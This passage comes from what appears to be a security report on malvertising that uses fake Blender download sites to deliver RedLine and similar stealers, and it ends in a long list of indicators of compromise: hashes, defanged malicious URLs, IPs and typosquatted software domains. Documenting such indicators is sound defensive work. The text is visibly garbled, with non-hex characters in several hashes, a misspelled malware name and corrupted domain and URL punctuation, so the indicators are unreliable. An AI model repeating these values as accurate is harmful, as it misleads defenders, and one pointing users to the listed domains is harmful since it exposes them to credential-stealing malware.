search ads. Threat actors use fake websites to mimic legitimate software vendor websites to lure victims, and pay
for ads to promote these. They use typosquatting and combosquatting for their malicious website domains, which
have become common techniques in recent months. In some cases, such as the one described in this article, the

threat actors also make sure to install the desired software alongside their malicious payload.

In recent campaigns, we observed mainly stealer-type malware, such as RedLine or the notorious Rhadamanthys,
which is also known to use malvertising techniques to reach victims and steal data from their compromised

machines.

This kind of distribution suggests that the threat actors are targeting victims, both individual and corporate, all

around the world.

Indicators of Compromise

IoC Description
EOBDF36E4A7CF1B332DC42FD8914BA8B blender-3.4.1-windows-x64.zip
BBA8AA93FCDDASAC7663E90COEEFA2E7 blender-3.4.1-windows-x64.exe
4b6249beab0eec2d9e6890162a7fcasf Blender.rar
8d709a5ce84504{83303afda88649b24 RedILine stealer
d0915b6057eb60c3878ce88d71efc351 RedILine stealer

hxxps[;]//download2392.medjiafire.com/bb289kqoibyg/
Link to malicious file
ludjwornnpwxlua/blender-3.4.1-windows-x64.zip/

hxxpsl:1//github.com/sup6724/blender3d13/releases/

download/updates/blender-3.4.1-windows-x64.zip

Link to malicious file

hxxps[://]blahder3dsoft[.]store/Blender]. Jrar Link to malicious file

http[:]1//45.93.201[.]114/docs/[RandomChars].txt URL with malware data string
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91.229.23[.]200

blahder3dsoft[,]store

blender3d-download|[,]com

blender3d-download].net

blender3d-downloadl.]org

blender3ds-download[,]com

blender3ds-download],]net

blender3ds-download].]org

blender3d-software[,]Jcom

blender3d-software[.net

blender3d-software|. Jorg

blender3ds-software[.]com

blender3ds-software[. Inet

blender3ds-software[.]org

blender-download[,]Jcom

blender-download][, Jnet

blender-download[.]org

blenders3d-download[.]com

blenders3d-download|.]net

blenders3d-download].]org

afterburnermsi-download[,]Jcom

afterburner-software|, Jnet

afterburner-software][.Jorg

desktop-tradingview(, Inet

desktop-tradingview|.Jorg

download-tradingview][, Jnet
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IP address common for some malicious landing

pages

Fake Blender websites

Other suspicious software-themed domains related

through the same IP address
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download-tradingview|.]org

overclock-msi[.]Jcom

overclock-msi[. Jnet

overclock-msi[, Jorg

project-obs|[.]Jcom
project-obs[. net
project-obs|. Jorg
studio-obs[.]com
studio-obs|.]net
studio-obs[.]Jorg

tradingview-software[.]lcom

tradingview-software[, Jnet

tradingview-software[. Jorg

tradingviews-software[.]Jcom

tradingviews-software|[. Jnet

tradingviews-software[, Jorg

unity-download[.]Jcom
unity-download[, Jnet

unity-downloadl.]org

unityhub-download[.]com
unityhub-download],Jnet
unityhub-downloadl.Jorg
unity-software[,]net
unity-software|.]org

webull-download[,]com

webull-download[, ]net

webull-download].]org
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